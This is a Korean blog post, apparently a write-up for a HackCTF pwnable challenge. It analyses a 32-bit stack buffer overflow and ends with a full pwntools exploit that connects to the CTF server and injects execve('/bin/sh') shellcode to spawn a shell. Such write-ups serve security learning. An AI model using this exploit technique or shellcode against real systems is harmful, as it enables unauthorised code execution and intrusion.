[HackCTF] Simple_Overflow_ver_2
System/PWNABLE

[HackCTF] Simple_Overflow_ver_2

728x90

check

- 32bit

- 바로 앞의 문제와 같이 별다른 보호기법은 적용되어 있지않다.

Analyze

pseudo code

실행

- v5는 Again(y/n)에 대한 답을 저장하는 변수로, v5의 값이 121 또는 89인 동안 데이터를 입력받는 반복문이 지속된다. 이 때 121과 89는 각각 Y, y의 10진수값이다. 

- v5는 ebp로부터 0x89byte떨어진 곳에 위치하고 scanf 함수를 통해 값을 입력받는다. 이 때 scanf에서 몇 바이트를 입력받는지 정해두지 않았기 때문에 버퍼 오버플로우가 발생할 수 있다. >> scanf("%c")로 문자를 입력받기 때문에 overflow 시키기에 적합하지 않다.

- 데이터는 s에 저장되고 16개씩 끊어 "주소: 값"이 출력되도록한다. 

>> 쉘코드를 s에 저장하고 저장한 s의 처음 주소를 찾고, v5를 오버플로우하여 s를 오버플로우시켜 return address를 s의 시작주소로 한다.

Exploit

from pwn import *
#context.log_level = 'debug'
#p = process("./Simple_overflow_ver_2")
p = remote("ctf.j0n9hyun.xyz", 3006)

sh="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

p.sendlineafter("Data : ","A")
ret = int(p.recv(10),16)

pl = sh
pl += "A"*(0x88 - len(sh)+4)
pl += p32(ret)

p.sendlineafter("(y/n): ", 'y')
p.sendlineafter("Data : ", pl)
p.sendlineafter("(y/n): ", 'n')
p.interactive()

!성공!

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] BOF_PIE  (0) 2021.02.10
[HackCTF] BASIC_FSB  (0) 2021.02.10
[HackCTF] x64 Simple_size_BOF  (0) 2021.02.09
[HackCTF] x64 Buffer Overflow  (2) 2021.02.05
[LOB] orc → wolfman  (0) 2021.02.05